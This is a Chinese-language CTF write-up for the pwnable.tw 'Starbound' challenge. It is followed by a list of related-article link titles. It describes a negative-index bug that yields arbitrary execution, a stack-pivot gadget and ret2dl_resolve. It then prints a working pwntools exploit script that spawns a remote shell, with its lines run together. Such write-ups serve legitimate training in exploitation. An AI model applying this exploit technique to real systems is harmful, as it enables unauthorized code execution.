这题漏洞很明显,选择菜单的时候可以输入负数,然后可以在name那里填入想调用的函数,这样就可以实现任意地址执行

但是有了这个之后怎么用呢??

这个就有点难度了,本来是想看一下栈,看看有没有可以用的参数,但是发现基本都用不了…….

然后想了下,这题没有给libc,又没有system,那么多半是ret2dl_resolve

那么ret2dl_resolve又需要rop,那么这题应该就是rop了,但是怎么rop呢?

画了下栈的图,大概是这样

因为strtol只识别前面的-31,所以后面我们可以填rop的payload

然后在name那里填上一个地址

我这里选了0x804A6D9,add esp,0x1c,然后再pop几个东西,这样就能到我们的payload那里了

之后就单纯的是ret2dl_resolve,这里就不详细说了

下面是payload

from pwn import *
import roputils#p=process('./starbound')
p=remote('chall.pwnable.tw', 10202)
context.log_level='debug'
rop=roputils.ROP('./starbound')#gdb.attach(proc.pidof(p)[0])stage=0x8057D40+0x700def ru(x):return p.recvuntil(x)def se(x):p.send(x)def back():se('1')ru('> ')def settings():se('6')ru('4. Toggle View')ru('> ')def set_name(name):se('2')ru('Enter your name: ')se(name)ru('> ')settings()
set_name(p32(0x0804A6D9)+cyclic(0x20))puts=0x8048B90
read=0x8048A70
p4=0x804A6DC
pebp=0x80491bc
leave=0x0804A673payload='a'*21 +p32(puts)+p32(p4+3)+p32(0x08055004)
payload+=p32(read)+p32(p4+1)+p32(0)+p32(stage)+p32(0x300)
payload+=p32(pebp)+p32(stage-4)+p32(leave)se('-33'+payload)linkmap=u32(p.recv(4))+0xe4data=p32(read)+p32(p4+1)+p32(0)+p32(linkmap)+p32(0x4)
data+= rop.dl_resolve_call(stage+0x100)+p32(stage+0x200)*2
data=data.ljust(0x100,'A')
data+=rop.dl_resolve_data(stage+0x100,'system')
data=data.ljust(0x200,'A')
data+='/bin/sh\x00'
data=data.ljust(0x300,'A')p.send(data)
sleep(0.1)
p.send(p32(0))p.interactive()

pwnable tw Starbound writeup相关推荐

  1. pwnable.tw startorw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  2. Pwnable.tw之BookWriter

    Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...

  3. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

  4. PWN passcode [pwnable.kr]CTF writeup题解系列5

    直接看题目: 连接服务器看看情况: root@mypwn:/ctf/work/pwnable.kr# ssh passcode@pwnable.kr -p2222 passcode@pwnable.k ...

  5. PWN random [pwnable.kr]CTF writeup题解系列6

    目录 0x01 题目 0x02 解题思路 0x03 题解 0x01 题目 0x02 解题思路 题目比较简单,直接贴出过程 root@mypwn:/ctf/work/pwnable.kr# ssh ra ...

  6. PWN input [pwnable.kr]CTF writeup题解系列7

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 先连接到服务器看下情况 root@mypwn:/ctf/work/pwnable.kr# ssh input2@pw ...

  7. PWN horcruxes [pwnable.kr]CTF writeup题解系列15

    题目内容: 先连接上去看看题目文件,看起来已经说了是一道rop的题目 root@mypwn:/ctf/work/pwnable.kr# ssh horcruxes@pwnable.kr -p2222 ...

  8. PWN lotto [pwnable.kr]CTF writeup题解系列10

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 下载文件,检查一下情况 root@mypwn:/ctf/work/pwnable.kr# ssh lotto@pwn ...

  9. PWN uaf [pwnable.kr]CTF writeup题解系列13

    目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 题目都已经介绍了这是一道Use After Free的题目,那我们就不用多想了,先看看题目主要内容 root@myp ...

  10. 【pwnable.tw】 death_note

    题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...

最新文章

  1. FFT ---- 2021牛客多校第一场 H Hash Function
  2. javascript学习之流程控制
  3. 【Leetcode】Palindrome Number
  4. 转再次写给我们这些浮躁的程序员
  5. apache camel_Apache Camel的性能调整思路
  6. SpringBoot实战(一):使用Lombok简化你的代码
  7. 用语言控制Linux:Linux的语音识别软件
  8. php eclipse aptana,eclipse aptana插件自动提示
  9. ChemDraw怎么调整键长?调整键长教程
  10. 不带搜索框,数据同步请求,产品按字母分组组件
  11. 12月2日科技资讯|微信回应发原图泄露位置信息;Linux Kernel 5.4.1 发布
  12. Web上的推箱子游戏Sokoban
  13. oracle 客户端 sqlplus 命令行 问号 乱码
  14. Evernote新搭档Evertracker,掌控自己的时间(视频)
  15. PIC16F877A与Proteus仿真-PIC16F877A最小系统及开发环境搭建
  16. 重磅官宣:GitHub App 终于来了
  17. 全志r58能使用linux内核么,全志R58怎么样 R58芯片参数介绍
  18. Java题目:动物声音模拟器
  19. Js 的 混淆 与反混淆
  20. 我院HIS系统中的医嘱频次字典数据

热门文章

  1. 利用tushare读取中国股市数据,并用绘制股票行情图形
  2. python dbf导入到sql_python读写dbf数据库
  3. java io closed_java.io.IOException: Stream closed 异常的原因和处理
  4. 10个最好的免费FTP客户端
  5. 网站打开速度慢如何解决
  6. 如何遮挡电影英汉字幕
  7. mpc高清设置超详细
  8. RocketMQ手动创建Topic
  9. 学生计算机编程比赛获奖感言,学生比赛获奖感言4篇
  10. 用Java写小学生算术题